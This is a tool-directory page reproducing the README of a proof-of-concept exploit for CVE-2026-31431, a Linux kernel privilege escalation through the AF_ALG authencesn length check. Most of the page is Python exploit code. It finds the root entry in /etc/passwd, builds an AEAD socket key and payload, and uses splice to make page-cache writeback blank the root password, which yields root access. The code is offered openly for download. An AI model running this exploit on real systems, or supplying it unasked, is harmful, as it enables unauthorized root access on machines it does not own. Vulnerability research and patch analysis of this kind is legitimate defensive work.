Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-31431-poc — Proof-of-concept exploit for CVE-2026-31431, a Linux kernel privilege escalation via AF_ALG authenc length check bypass, achieving root by modifying /etc/passwd. | Kitploit
Tools/GitHubGitHub/yuspring/cve-2026-31431-poc
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationBinary Exploitation
GitHubyuspring/cve-2026-31431-poc

cve-2026-31431-poc

Proof-of-concept exploit for CVE-2026-31431, a Linux kernel privilege escalation via AF_ALG authenc length check bypass, achieving root by modifying /etc/passwd.

View Repository
333 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE 2026-31431 POC

This exploit takes advantage of a flaw in the length validation of authencesn in Linux, causing dirty pages to be written back to locations the user has no permission to access, resulting in privilege escalation.

The attack principle is mainly based on this repo, with some modifications to the payload. https://github.com/rootsecdev/cve_2026_31431

image This image shows the fix patch for Linux kernel 6.12.85. These patches will be traced in the code later.

Implementation Process

  1. Open and modify /etc/passwd in RAM
root@kitploit:~
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f:  # binary open
  content = f.read()
  idx = content.find(b"root:x")  # find root:x location
  x_offset = idx + 5  # Get x location

The goal is to change the root password in /etc/passwd to no password (bypassing /etc/shadow verification)

root@kitploit:~
# Before: root:[x:0:]0:root:/root:/bin/bash
# After   root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
  1. Connect the socket and construct the payload
root@kitploit:~
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)  # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))

# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey

# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket

# Send payload
payload = b"\x00" * 4 + string
cmsg = [
  (SOL_ALG, ALG_SET_OP, struct.pack("I", 0)),  # Decrypt
  (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
  (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
  ]
  op.sendmsg([payload], cmsg, socket.MSG_MORE)
  1. Send the payload via the socket to cause dirty pages to be written back to the file
root@kitploit:~
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32)             # copy data from pipe to socket
try:
  op.recv(64)
except OSError:
  pass

Reference

https://xint.io/blog/copy-fail-linux-distributions

Download Tool